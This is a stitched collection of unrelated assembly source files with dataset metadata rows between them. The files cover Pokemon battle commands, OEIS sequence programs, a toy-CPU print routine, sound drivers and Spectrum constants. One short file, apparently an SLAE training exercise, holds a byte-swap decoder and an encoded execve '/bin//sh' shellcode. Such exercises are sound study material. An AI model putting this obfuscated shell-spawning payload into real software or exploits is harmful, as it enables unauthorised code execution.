dec a
jr z, .skip_party
ld a, [wCurOTMon]
ld hl, wOTPartyMon1Item
.do_party
call GetPartyLocation
xor a
ld [hl], a
.skip_party
; don't actiavte effect if under embargo
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVar
bit SUBSTATUS_EMBARGO, a
ret nz
; activate effect
ld a, [bc]
inc bc
ld [wNamedObjectIndexBuffer], a
call GetItemName
ld a, [bc]
ld l, a
inc bc
ld a, [bc]
ld h, a
jp hl
.berry
ld bc, 10
jr .heal_hp
.gold
ld bc, 30
.heal_hp
ldh a, [hBattleTurn]
ld hl, wBattleMonHP
jr z, .got_hp
ld hl, wEnemyMonHP
.got_hp
push bc
ld a, [hli]
ld b, a
ld a, [hli]
ld c, a
ld a, [hli]
ld d, a
ld a, [hl]
ld e, a
ld a, d
cp b
jr nz, .do_heal
ld a, e
cp c
pop bc
ret z
.do_heal
push bc
call BattleCommand_switchturn
farcall ItemRecoveryAnim
pop bc
farcall RestoreHP
call BattleCommand_switchturn
ld hl, PluckText
call StdBattleTextbox
ret
.mystery
ldh a, [hBattleTurn]
and a
jr z, .mystery_berry_player
ld a, [wBattleMode]
dec a
jr z, .mystery_berry_wild
ld a, [wCurOTMon]
ld [wCurPartyMon], a
ld a, OTPARTYMON
ld [wMonType], a
jr .do_mystery_berry
.mystery_berry_wild
ld a, WILDMON
ld [wMonType], a
jr .do_mystery_berry
.mystery_berry_player
ld a, [wCurBattleMon]
ld [wCurPartyMon], a
ld a, PARTYMON
ld [wMonType], a
.do_mystery_berry
farcall ForceMysteryBerryEffect
ret nc
call BattleCommand_switchturn
farcall ItemRecoveryAnim
call BattleCommand_switchturn
ld hl, PluckText
call StdBattleTextbox
ret
.miracle
ld b, HELD_HEAL_STATUS
jr .heal_status
.mint
ld b, HELD_HEAL_SLEEP
jr .heal_status
.burnt
ld b, HELD_HEAL_FREEZE
jr .heal_status
.ice
ld b, HELD_HEAL_BURN
jr .heal_status
.bitter
ld b, HELD_HEAL_CONFUSION
call BattleCommand_switchturn
farcall UseConfusionHealingItemAlt
call BattleCommand_switchturn
ld hl, PluckText
call StdBattleTextbox
ret
.przcure
ld b, HELD_HEAL_PARALYZE
jr .heal_status
.psncure
ld b, HELD_HEAL_POISON
.heal_status
call BattleCommand_switchturn
farcall UseStatusHealingItemEffect
call BattleCommand_switchturn
ld hl, PluckText
call StdBattleTextbox
ret
.berry_list
dbw BERRY, .berry
dbw GOLD_BERRY, .gold
dbw MYSTERYBERRY, .mystery
dbw MIRACLEBERRY, .miracle
dbw MINT_BERRY, .mint
dbw BURNT_BERRY, .burnt
dbw ICE_BERRY, .ice
dbw BITTER_BERRY, .bitter
dbw PRZCUREBERRY, .przcure
dbw PSNCUREBERRY, .psncure
db -1
BattleCommand_healingwish:
ldh a, [hBattleTurn]
and a
jr nz, .enemy
; check for valid switch in
farcall CheckAnyOtherAlivePartyMons
jr z, .fail
; play anim
call AnimateCurrentMove2
; set flag
ld a, 1
ld [wPlayerHealingWishFlag], a
ret
.enemy
; fail in wild battles
ld a, [wBattleMode]
dec a
jr z, .fail
; check for valid switch in
farcall CheckAnyOtherAliveEnemyMons
jr z, .fail
; play anim
call AnimateCurrentMove2
; set flag
ld a, 1
ld [wPlayerHealingWishFlag], a
ret
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_lunardance:
ldh a, [hBattleTurn]
and a
jr nz, .enemy
; check for valid switch in
farcall CheckAnyOtherAlivePartyMons
jr z, .fail
; play anim
call AnimateCurrentMove2
; set flag
ld a, 2
ld [wPlayerHealingWishFlag], a
ret
.enemy
; fail in wild battles
ld a, [wBattleMode]
dec a
jr z, .fail
; check for valid switch in
farcall CheckAnyOtherAliveEnemyMons
jr z, .fail
; play anim
call AnimateCurrentMove2
; set flag
ld a, 2
ld [wPlayerHealingWishFlag], a
ret
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_naturalgift:
push bc
push de
ldh a, [hBattleTurn]
and a
ld a, [wBattleMonItem]
jr z, .go
ld a, [wEnemyMonItem]
.go
and a
jr z, .fail
ld hl, NaturalGiftItemTable
ld de, 3
call IsInArray
jr nc, .fail
inc hl
ld d, [hl]
push hl
ld a, BATTLE_VARS_MOVE_TYPE
call GetBattleVarAddr
ld a, [hl]
and CATEGORY_MASK
or d
ld [hl], a
pop hl
inc hl
pop de
ld d, [hl]
pop bc
ret
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_forceconsumeholditem:
ldh a, [hBattleTurn]
and a
jr nz, .enemy
ld a, [wCurPartyMon]
ld hl, wPartyMon1Item
call GetPartyLocation
ld a, [hl]
push af
xor a
ld [hl], a
ld [wBattleMonItem], a
ld hl, wPlayerRecycleMemory
pop af
ret
.enemy
xor a
ld [wEnemyMonItem], a
ld a, [wBattleMode]
dec a
ret z ; don't update party for wild mon
ld a, [wCurOTMon]
ld hl, wOTPartyMon1Item
call GetPartyLocation
xor a
ld [hl], a
ret
INCLUDE "data/moves/natural_gift.asm"
BattleCommand_powertrick:
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVarAddr
ld a, [hl]
xor (1 << SUBSTATUS_POWER_TRICK)
ld [hl], a
call AnimateCurrentMove2
ld hl, PowerTrickText
call StdBattleTextbox
jp CalcBothMonStats
ApplyPowerTrick:
ldh a, [hBattleTurn]
and a
jr nz, .enemy
ld a, [wPlayerSubStatus2]
bit SUBSTATUS_POWER_TRICK, a
ret z
ld hl, wBattleMonStats
jr .swap_stats
.enemy
ld a, [wEnemySubStatus2]
bit SUBSTATUS_POWER_TRICK, a
ret z
ld hl, wEnemyMonStats
.swap_stats
push bc
push de
; get attack
ld a, [hli]
ld b, a
ld a, [hli]
ld c, a
; get defense and put attack
ld a, [hli]
ld d, a
ld a, [hl]
ld e, a
ld [hl], c
dec hl
ld [hl], b
dec hl
; put defense
ld [hl], e
dec hl
ld [hl], d
pop de
pop bc
ret
BattleCommand_curl:
; curl
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVarAddr
set SUBSTATUS_CURLED, [hl]
ret
BattleCommand_punishment:
ldh a, [hBattleTurn]
and a
ld hl, wPlayerStatLevels
jr z, .go
ld hl, wEnemyStatLevels
.go
push bc
push de
ld e, 3
ld d, NUM_LEVEL_STATS
.loop
ld a, [hli]
sub 7
jr c, .next
add e
ld e, a
.next
dec d
jr nz, .loop
ld a, e
cp 11
jr c, .no_overflow
ld e, 10
.no_overflow
ld a, e
ld hl, 0
ld bc, 20
call AddNTimes
ld a, l
pop de
ld d, a
pop bc
ret
BattleCommand_copycat:
ld a, [wLastCopycatMove]
and a
jr z, .fail
call AnimateCurrentMove2
ld a, BATTLE_VARS_MOVE
call GetBattleVarAddr
ld a, [wLastCopycatMove]
ld [hl], a
farcall UpdateMoveData
farjump ResetTurn
.fail
call AnimateAndPrintFailedMove2
ret
BattleCommand_mefirst:
farcall CheckOpponentWentFirst
jr nz, .fail
ldh a, [hBattleTurn]
and a
ld de, wCurPlayerMove
jr nz, .go
ld de, wCurEnemyMove
.go
ld a, [de]
call IsStatusMove
jr c, .fail
call GetMoveIndexFromID
ld b, h
ld c, l
ld hl, MeFirstUncallableMoves
push de
ld de, 2
call IsInHalfwordArray
pop de
jr c, .fail
ldh a, [hBattleTurn]
and a
ld hl, wPlayerMeFirst
jr z, .got_mefirst
ld hl, wEnemyMeFirst
.got_mefirst
ld a, 1
ld [hl], a
call AnimateCurrentMove2
ld a, BATTLE_VARS_MOVE
call GetBattleVarAddr
ld a, [de]
ld [hl], a
farcall UpdateMoveData
farjump ResetTurn
.fail
call AnimateAndPrintFailedMove2
ret
INCLUDE "data/moves/me_first_uncallable.asm"
SelfdestructDefenseMultiplier:
; If user used Me First, multiply defense by 2/3
; Otherwise, Me First multiplier would overflow
ldh a, [hBattleTurn]
and a
ld a, [wPlayerMeFirst]
jr z, .got_me_first
ld a, [wEnemyMeFirst]
.got_me_first
and a
jr z, .apply_selfdestruct
call MeFirstSeldestruct
.apply_selfdestruct
srl c
ret nz
inc c
ret
MeFirstSeldestruct:
push bc
ld a, c
ld c, 3
call SimpleDivide
ld a, b
add a
pop bc
ld c, a
ret
MeFirstDamageMultiplier:
; If user used Me First, multiply power by 1.5, max of 255
ldh a, [hBattleTurn]
and a
ld a, [wPlayerMeFirst]
jr z, .ok
ld a, [wEnemyMeFirst]
.ok
and a
ret z
ld a, d
rrca
add d
ld d, a
ret nc
ld d, $ff
ret
BattleCommand_clearmissdamage:
; clearmissdamage
ld a, [wAttackMissed]
and a
ret z
farcall ResetDamage
ret
BattleCommand_flingdamage:
ld a, BATTLE_VARS_SUBSTATUS2
call GetBattleVar
bit SUBSTATUS_EMBARGO, a
jr nz, .fail
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonItem
jr z, .go
ld hl, wEnemyMonItem
.go
ld a, [hl]
and a
jr z, .fail
push bc
dec a
ld c, a
ld b, 0
ld hl, FlingDamage
add hl, bc
pop bc
ld a, [hl]
cp -1
jr z, .fail
ld d, a
ret
.fail
call AnimateAndPrintFailedMove2
farjump EndMoveEffect
BattleCommand_flingeffect:
ld a, BATTLE_VARS_SUBSTATUS2_OPP
call GetBattleVar
bit SUBSTATUS_EMBARGO, a
ret nz
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonItem
jr z, .go
ld hl, wEnemyMonItem
.go
ld a, [hl]
ld hl, FlingBerryEffects
ld de, 3
call IsInArray
jr c, .berry
ld a, c
ld hl, FlingEffects
ld de, 4
call IsInArray
ret nc
xor a
ld [wEffectFailed], a
inc hl
ld a, [hli]
push af
ld a, [hli]
ld h, [hl]
ld l, a
pop af
rst FarCall
ret
.berry
inc hl
ld a, [hli]
ld h, [hl]
ld l, a
jp hl
FlingBerryEffects:
dbw BERRY, .berry
dbw GOLD_BERRY, .gold
dbw MYSTERYBERRY, .mystery
dbw MIRACLEBERRY, .miracle
dbw MINT_BERRY, .mint
dbw BURNT_BERRY, .burnt
dbw ICE_BERRY, .ice
dbw BITTER_BERRY, .bitter
dbw PRZCUREBERRY, .przcure
dbw PSNCUREBERRY, .psncure
db -1
.berry
ld bc, 10
jr .heal_hp
.gold
ld bc, 30
.heal_hp
ldh a, [hBattleTurn]
ld hl, wBattleMonHP
jr nz, .got_hp
ld hl, wEnemyMonHP
.got_hp
push bc
ld a, [hli]
ld b, a
ld a, [hli]
ld c, a
ld a, [hli]
ld d, a
ld a, [hl]
ld e, a
ld a, d
cp b
jr nz, .do_heal
ld a, e
cp c
pop bc
ret z
.do_heal
push bc
; call BattleCommand_switchturn
farcall ItemRecoveryAnim
pop bc
farcall RestoreHP
; call BattleCommand_switchturn
; ld hl, PluckText
; call StdBattleTextbox
ret
.mystery
ldh a, [hBattleTurn]
and a
jr z, .mystery_berry_player
ld a, [wBattleMode]
dec a
jr z, .mystery_berry_wild
ld a, [wCurOTMon]
ld [wCurPartyMon], a
ld a, OTPARTYMON
ld [wMonType], a
jr .do_mystery_berry
.mystery_berry_wild
ld a, WILDMON
ld [wMonType], a
jr .do_mystery_berry
.mystery_berry_player
ld a, [wCurBattleMon]
ld [wCurPartyMon], a
ld a, PARTYMON
ld [wMonType], a
.do_mystery_berry
call BattleCommand_switchturn
farcall ForceMysteryBerryEffect
ret nc
call BattleCommand_switchturn
farcall ItemRecoveryAnim
; ld hl, PluckText
; call StdBattleTextbox
ret
.miracle
ld b, HELD_HEAL_STATUS
jr .heal_status
.mint
ld b, HELD_HEAL_SLEEP
jr .heal_status
.burnt
ld b, HELD_HEAL_FREEZE
jr .heal_status
.ice
ld b, HELD_HEAL_BURN
jr .heal_status
.bitter
ld b, HELD_HEAL_CONFUSION
; call BattleCommand_switchturn
farcall UseConfusionHealingItemAlt
; call BattleCommand_switchturn
; ld hl, PluckText
; call StdBattleTextbox
ret
.przcure
ld b, HELD_HEAL_PARALYZE
jr .heal_status
.psncure
ld b, HELD_HEAL_POISON
.heal_status
; call BattleCommand_switchturn
farcall UseStatusHealingItemEffect
; call BattleCommand_switchturn
; ld hl, PluckText
; call StdBattleTextbox
ret
INCLUDE "data/moves/fling_damage.asm"
FlingPoisonEffect:
; don't poison steel types
; (poison type check is already taken care of)
ldh a, [hBattleTurn]
and a
ld hl, wBattleMonType
jr nz, .go
ld hl, wEnemyMonType
.go
ld a, [hli]
cp STEEL
ret z
ld a, [hl]
cp STEEL
ret z
farjump BattleCommand_poisontarget
BattleCommand_embargo:
ld a, [wAttackMissed]
and a
jr nz, .fail
ld a, BATTLE_VARS_SUBSTATUS2_OPP
call GetBattleVarAddr
bit SUBSTATUS_EMBARGO, [hl]
jr nz, .fail
set SUBSTATUS_EMBARGO, [hl]
ld hl, EmbargoText
jp StdBattleTextbox
.fail
jp AnimateAndPrintFailedMove2
BattleCommand_usedmovetext:
; usedmovetext
farcall CheckUserTruant
ret c
farcall DisplayUsedMoveText
ret
BattleCommand_effectchance:
; effectchance
xor a
ld [wEffectFailed], a
farcall CheckSubstituteOpp
jr nz, .failed
push hl
ld hl, wPlayerMoveStruct + MOVE_CHANCE
ldh a, [hBattleTurn]
and a
jr z, .got_move_chance
ld hl, wEnemyMoveStruct + MOVE_CHANCE
.got_move_chance
ld a, [hl]
cp -1
jr z, .ok
call BattleRandom
cp [hl]
pop hl
ret c
.failed
ld a, 1
ld [wEffectFailed], a
and a
ret
.ok
pop hl
ret
| 15.557564 | 186 | 0.73149 |
16e003cd967620e5af871dd202fd5e73458d183f | 1,093 | asm | Assembly | programs/oeis/277/A277975.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/277/A277975.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/277/A277975.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A277975: a(n) = n*x^n + (n-1)*x^(n-1) + . . . + x + 1 for x=5.
; 1,6,56,431,2931,18556,112306,659181,3784181,21362306,119018556,656127931,3585815431,19454956056,104904174806,562667846681,3004074096681,15974044799806,84638595581056,447034835815431,2354383468627931,12367963790893556,64820051193237306,339001417160034181,1769512891769409181,9220093488693237306,47963112592697143556,249128788709640502931,1292210072278976440431,6693881005048751831056,34633558243513107299806,178988557308912277221681,924046617001295089721681,4765752237290143966674806,24556356947869062423706056,126419763546437025070190431,650288711767643690109252931,3342393029015511274337768556,17166712495964020490646362306,88107299234252423048019409181,451905179943423718214035034181,2316369318577926605939865112306,11866063687193673104047775268556,60751403907488565891981124877931,310862446895043831318616867065431,1589839371263224165886640548706056,8126832540256145875900983810424806,41522341120980854611843824386596681,212052597703404899220913648605346681
lpb $0
add $1,$0
sub $0,1
mul $1,5
lpe
add $1,1
mov $0,$1
| 99.363636 | 962 | 0.885636 |
47b00d5a0286f8a4ce204191bef39a355204e68a | 1,097 | asm | Assembly | run/programs/print.asm | thecodewarrior/KotlinToyCPU | a3e6655efed5fa318d0354ace5141894d4f1176d | [
"MIT"
] | null | null | null | run/programs/print.asm | thecodewarrior/KotlinToyCPU | a3e6655efed5fa318d0354ace5141894d4f1176d | [
"MIT"
] | null | null | null | run/programs/print.asm | thecodewarrior/KotlinToyCPU | a3e6655efed5fa318d0354ace5141894d4f1176d | [
"MIT"
] | null | null | null | #include log.asm
; pcall PTEXT, PRINT_CHAR
; pcall PTEXT, PRINT_ASCIIZ
; pcall PTEXT, PRINT_FMT
println:
mov 0xA, r0
pcall PTEXT, PRINT_CHAR
mov lr, pc
print_hex:
mov r0, r1
shr r1, 28, r0
and r0, 0xf, r0
ldr'b r0 [:print_hex_digits, r0]
pcall PTEXT, PRINT_CHAR
shr r1, 24, r0
and r0, 0xf, r0
ldr'b r0 [:print_hex_digits, r0]
pcall PTEXT, PRINT_CHAR
shr r1, 20, r0
and r0, 0xf, r0
ldr'b r0 [:print_hex_digits, r0]
pcall PTEXT, PRINT_CHAR
shr r1, 16, r0
and r0, 0xf, r0
ldr'b r0 [:print_hex_digits, r0]
pcall PTEXT, PRINT_CHAR
shr r1, 12, r0
and r0, 0xf, r0
ldr'b r0 [:print_hex_digits, r0]
pcall PTEXT, PRINT_CHAR
shr r1, 8, r0
and r0, 0xf, r0
ldr'b r0 [:print_hex_digits, r0]
pcall PTEXT, PRINT_CHAR
shr r1, 4, r0
and r0, 0xf, r0
ldr'b r0 [:print_hex_digits, r0]
pcall PTEXT, PRINT_CHAR
shr r1, 0, r0
and r0, 0xf, r0
ldr'b r0 [:print_hex_digits, r0]
pcall PTEXT, PRINT_CHAR
mov lr, pc
print_hex_digits: %data .ascii "0123456789abcdef"
| 18.913793 | 49 | 0.620784 |
59b1aae498c2a3574de466814809bc4e0f77000a | 810 | asm | Assembly | programs/oeis/214/A214062.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/214/A214062.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/214/A214062.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A214062: Least m>0 such that gcd(2*n+m, 2*n-1-m) > 1.
; 1,3,5,1,9,11,1,15,2,1,21,23,1,2,29,1,33,35,1,39,41,1,3,2,1,51,53,1,2,3,1,63,65,1,69,5,1,75,2,1,81,83,1,2,89,1,5,95,1,99,3,1,105,2,1,111,113,1,2,119,1,6,125,1,3,131,1,135,2,1,141,3,1,2,6,1,153,155,1,5,8,1,165,2,1,3,173,1,2,179,1,183,3,1,189,191,1,8,2,1,6,5,1,2,209,1,3,215,1,219,221,1,5,2,1,231,233,1,2,239,1,243,245,1,249,251,1,3,2,1,261,8,1,2,3,1,273,9,1,6,281,1,285,2,1,5,293,1,2,299,1,303,6,1,309,3,1,315,2,1,321,323,1,2,329,1,11,5,1,3,341,1,345,2,1,9,3,1,2,359,1,363,8,1,369,371,1,375,2,1,3,6,1,2,9,1,393,3,1,8,5,1,405,2,1,411,413,1,2,419,1,3,11,1,429,431,1,6,2,1,441,443,1,2,14,1,453,455,1,459,6,1,3,2,1,11,473,1,2,3,1,483,485,1,5,491,1,495,2,1
mul $0,2
add $0,1
cal $0,90368 ; a(1) = 1; for n>1, smallest divisor > 1 of 2n-1.
mov $1,$0
div $1,2
| 90 | 651 | 0.606173 |
1cdec7de71f3fc4498d2574a2bf3ca6bcf6691e8 | 1,851 | asm | Assembly | src/drivers/emulations/OPNOnOPNADual.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | 6 | 2020-04-21T17:26:27.000Z | 2021-09-25T18:41:01.000Z | src/drivers/emulations/OPNOnOPNADual.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | null | null | null | src/drivers/emulations/OPNOnOPNADual.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | null | null | null | ;
; OPN on OPNA (2nd half) + PSG driver
;
OPNOnOPNADual_CLOCK: equ 3579545
OPNOnOPNADual: MACRO
super: Driver Device_noName, OPNOnOPNADual_CLOCK, OPNOnOPNADual_PrintInfoImpl
opnOnOPNADriver:
dw 0
psgDriver:
dw 0
; e = register
; d = value
SafeWriteRegister: PROC
ld a,e
cp 20H
jp c,System_Return
writePSGRegister: equ $ - 2
cp 30H
jp nc,System_Return
writeFMRegister2: equ $ - 2
set 2,d
cp 28H
jp System_Return
writeFMRegister: equ $ - 2
ENDP
ENDM
; ix = this
; iy = drivers
OPNOnOPNADual_Construct:
call Driver_Construct
call OPNOnOPNADual_TryCreateOPNOnOPNA
jp nc,Driver_NotFound
ld (ix + OPNOnOPNADual.opnOnOPNADriver),e
ld (ix + OPNOnOPNADual.opnOnOPNADriver + 1),d
ld bc,OPNOnOPNADual.SafeWriteRegister.writeFMRegister
call Device_ConnectInterface
ld bc,OPNOnOPNADual.SafeWriteRegister.writeFMRegister2
call Device_ConnectInterface
call OPNOnOPNADual_TryCreatePSG
ret nc
ld (ix + OPNOnOPNADual.psgDriver),e
ld (ix + OPNOnOPNADual.psgDriver + 1),d
ld bc,OPNOnOPNADual.SafeWriteRegister.writePSGRegister
jp Device_ConnectInterface
; ix = this
OPNOnOPNADual_Destruct: equ System_Return
; ret
; iy = drivers
; ix = this
; de <- driver
; hl <- device interface
; f <- c: succeeded
OPNOnOPNADual_TryCreateOPNOnOPNA:
push ix
ld bc,Drivers.opnOnOPNA
call Drivers_TryGet_IY
ld e,ixl
ld d,ixh
pop ix
ld hl,OPNOnOPNA_interface
ret
; iy = drivers
; ix = this
; de <- driver
; hl <- device interface
; f <- c: succeeded
OPNOnOPNADual_TryCreatePSG: equ AY8910_TryCreate
; jp AY8910_TryCreate
; ix = this
OPNOnOPNADual_PrintInfoImpl:
ld de,OPNOnOPNADual.opnOnOPNADriver
call Driver_PrintInfoIXOffset
ld de,OPNOnOPNADual.psgDriver
jp Driver_PrintInfoIXOffset
;
SECTION RAM
OPNOnOPNADual_instance: OPNOnOPNADual
ENDS
OPNOnOPNADual_interface:
InterfaceOffset OPNOnOPNADual.SafeWriteRegister
| 20.119565 | 78 | 0.778498 |
f751990d3a220a229369ddcc8bbc8abd93b4899f | 735 | asm | Assembly | 4/decoder.asm | 91fc7b/SLAE | 8ba0831963b077cb3739b8bb53ed430cd3b564e0 | [
"Unlicense"
] | null | null | null | 4/decoder.asm | 91fc7b/SLAE | 8ba0831963b077cb3739b8bb53ed430cd3b564e0 | [
"Unlicense"
] | null | null | null | 4/decoder.asm | 91fc7b/SLAE | 8ba0831963b077cb3739b8bb53ed430cd3b564e0 | [
"Unlicense"
] | null | null | null | global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ; now contains address of the encoded shellcode
xor ecx,ecx
mov cl,13 ;13 = 26/2, shellcode is decoded 2bytewise (swap)
decode:
;swap first byte (esi) and second byte (esi+1)
mov al,[esi] ;load first byte to al
inc esi
mov ah,[esi] ;load second byte to ah
mov [esi],al ;load al to second byte
dec esi
mov [esi],ah ;load ah to first byte
;mov to next 2 bytes
add esi,2 ;esi + 2
loop decode
jmp short EncodedShellcode
call_shellcode:
call decoder
EncodedShellcode: db 0xc0,0x31,0x68,0x50,0x2f,0x2f,0x68,0x73,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0xe2,0x89,0x89,0x53,0xb0,0xe1,0xcd,0x0b,0x90,0x80
;shellcode length = 26
| 19.864865 | 151 | 0.72381 |
f78d6fb810075334ad26e1545ede2d1bbe6a5d29 | 2,621 | asm | Assembly | Zeus/constants.asm | Threetwosevensixseven/NirvanaPlusCalculator | 8fd671df0d4cc16f2b3544e6c5c24f67643a9f11 | [
"MIT"
] | null | null | null | Zeus/constants.asm | Threetwosevensixseven/NirvanaPlusCalculator | 8fd671df0d4cc16f2b3544e6c5c24f67643a9f11 | [
"MIT"
] | null | null | null | Zeus/constants.asm | Threetwosevensixseven/NirvanaPlusCalculator | 8fd671df0d4cc16f2b3544e6c5c24f67643a9f11 | [
"MIT"
] | null | null | null | ; Constants.asm
zoLogicOperatorsHighPri = false
zoSupportStringEscapes = false
Zeus_PC = NStart
Zeus_SP = NStart - 2
Zeus_StimDataErase = true
TOTAL_ROWS equ 23 ; 1..23
Red equ $52
White equ $7F
Cyan equ $6D
DarkMagentaBlueP equ $0B
DarkMagentaCyanP equ $2B
ATTRS_8x8 equ $5800
ATTRS_8x8_END equ $5AFF
FRAMES equ 23672
NIRVANA_org equ 56323 ; Note the IM2 table will need manually moving if you relocate NIRVANA+
NIRVANA_relocate_offset equ 56323-NIRVANA_org
NIRVANA_end equ NIRVANA_org+9054
NOFS equ NIRVANA_relocate_offset
SPRITE_A_LINE equ 56470+0*8 ; Line address (sprite 0)
SPRITE_A_COL equ SPRITE_A_LINE-1 ; Column address
SPRITE_A_IX equ SPRITE_A_LINE+2 ; Index address
SPRITE_B_LINE equ 56470+1*8 ; Line address (sprite 1)
SPRITE_B_COL equ SPRITE_B_LINE-1 ; Column address
SPRITE_B_IX equ SPRITE_B_LINE+2 ; Index address
SPRITE_C_LINE equ 56470+2*8 ; Line address (sprite 2)
SPRITE_C_COL equ SPRITE_C_LINE-1 ; Column address
SPRITE_C_IX equ SPRITE_C_LINE+2 ; Index address
SPRITE_D_LINE equ 56470+3*8 ; Line address (sprite 3)
SPRITE_D_COL equ SPRITE_D_LINE-1 ; Column address
SPRITE_D_IX equ SPRITE_D_LINE+2 ; Index address
SPRITE_E_LINE equ 56470+4*8 ; Line address (sprite 4)
SPRITE_E_COL equ SPRITE_E_LINE-1 ; Column address
SPRITE_E_IX equ SPRITE_E_LINE+2 ; Index address
SPRITE_F_LINE equ 56470+5*8 ; Line address (sprite 5)
SPRITE_F_COL equ SPRITE_F_LINE-1 ; Column address
SPRITE_F_IX equ SPRITE_F_LINE+2 ; Index address
SPRITE_G_LINE equ 56470+6*8 ; Line address (sprite 6)
SPRITE_G_COL equ SPRITE_G_LINE-1 ; Column address
SPRITE_G_IX equ SPRITE_G_LINE+2 ; Index address
SPRITE_H_LINE equ 56470+7*8 ; Line address (sprite 7)
SPRITE_H_COL equ SPRITE_H_LINE-1 ; Column address
SPRITE_H_IX equ SPRITE_H_LINE+2 ; Index address
| 55.765957 | 127 | 0.539489 |
0c7ffc0acb677492033a2f6732c44e56baecd826 | 24,012 | asm | Assembly | vanilla/sound library 1.asm | PJBoy/SM-SPC | 1345e173d5239132870c0f84603778546de49633 | [
"0BSD"
] | 4 | 2019-11-28T19:12:09.000Z | 2022-02-04T20:51:06.000Z | vanilla/sound library 1.asm | PJBoy/SM-SPC | 1345e173d5239132870c0f84603778546de49633 | [
"0BSD"
] | null | null | null | vanilla/sound library 1.asm | PJBoy/SM-SPC | 1345e173d5239132870c0f84603778546de49633 | [
"0BSD"
] | null | null | null | ; $1EE4
goToProcessSound1:
{
jmp processSound1
}
; $1EE7
handleCpuIo1:
{
mov y,!cpuIo1_read_prev
mov a,!cpuIo1_read : mov !cpuIo1_read_prev,a
mov !cpuIo1_write,a
cmp y,!cpuIo1_read : bne .branch_change
.branch_noChange
mov a,!sound1 : bne goToProcessSound1
ret
.branch_change
cmp a,#$00 : beq .branch_noChange
mov a,!cpuIo1_read
cmp a,#$02 : beq +
cmp a,#$01 : beq +
mov a,!sound1Priority : bne .branch_noChange
+
mov a,!sound1 : beq +
mov a,#$00 : mov !sound1_enabledVoices,a
call resetSound1Channel0
call resetSound1Channel1
call resetSound1Channel2
call resetSound1Channel3
+
mov a,#$00
mov !sound1_channel0_legatoFlag,a
mov !sound1_channel1_legatoFlag,a
mov !sound1_channel2_legatoFlag,a
mov !sound1_channel3_legatoFlag,a
mov a,!cpuIo1_write : dec a : asl a : mov !i_sound1,a
mov x,!i_sound1 : mov a,sound1InstructionLists+x : mov !sound1_instructionListPointerSet,a : inc x : mov a,sound1InstructionLists+x : mov !sound1_instructionListPointerSet+1,a
mov a,!cpuIo1_write : mov !sound1,a
call goToJumpTableEntry
!sc = sound1Configurations_sound ; Shorthand for the `soundN` sublabels within the sound1Configurations label
dw !{sc}1, !{sc}2, !{sc}3, !{sc}4, !{sc}5, !{sc}6, !{sc}7, !{sc}8, !{sc}9, !{sc}A, !{sc}B, !{sc}C, !{sc}D, !{sc}E, !{sc}F, !{sc}10,\
!{sc}11, !{sc}12, !{sc}13, !{sc}14, !{sc}15, !{sc}16, !{sc}17, !{sc}18, !{sc}19, !{sc}1A, !{sc}1B, !{sc}1C, !{sc}1D, !{sc}1E, !{sc}1F, !{sc}20,\
!{sc}21, !{sc}22, !{sc}23, !{sc}24, !{sc}25, !{sc}26, !{sc}27, !{sc}28, !{sc}29, !{sc}2A, !{sc}2B, !{sc}2C, !{sc}2D, !{sc}2E, !{sc}2F, !{sc}30,\
!{sc}31, !{sc}32, !{sc}33, !{sc}34, !{sc}35, !{sc}36, !{sc}37, !{sc}38, !{sc}39, !{sc}3A, !{sc}3B, !{sc}3C, !{sc}3D, !{sc}3E, !{sc}3F, !{sc}40,\
!{sc}41, !{sc}42
}
; $1FD1
processSound1:
{
mov a,#$FF : cmp a,!sound1_initialisationFlag : beq +
call sound1Initialisation
mov y,#$00 : mov a,(!sound1_instructionListPointerSet)+y : mov !sound1_channel0_p_instructionList,a : call getSound1ChannelInstructionListPointer : mov !sound1_channel0_p_instructionList+1,a
call getSound1ChannelInstructionListPointer : mov !sound1_channel1_p_instructionList,a : call getSound1ChannelInstructionListPointer : mov !sound1_channel1_p_instructionList+1,a
call getSound1ChannelInstructionListPointer : mov !sound1_channel2_p_instructionList,a : call getSound1ChannelInstructionListPointer : mov !sound1_channel2_p_instructionList+1,a
call getSound1ChannelInstructionListPointer : mov !sound1_channel3_p_instructionList,a : call getSound1ChannelInstructionListPointer : mov !sound1_channel3_p_instructionList+1,a
mov a,!sound1_channel0_voiceIndex : call sound1MultiplyBy8 : mov !sound1_channel0_dspIndex,a
mov a,!sound1_channel1_voiceIndex : call sound1MultiplyBy8 : mov !sound1_channel1_dspIndex,a
mov a,!sound1_channel2_voiceIndex : call sound1MultiplyBy8 : mov !sound1_channel2_dspIndex,a
mov a,!sound1_channel3_voiceIndex : call sound1MultiplyBy8 : mov !sound1_channel3_dspIndex,a
mov y,#$00
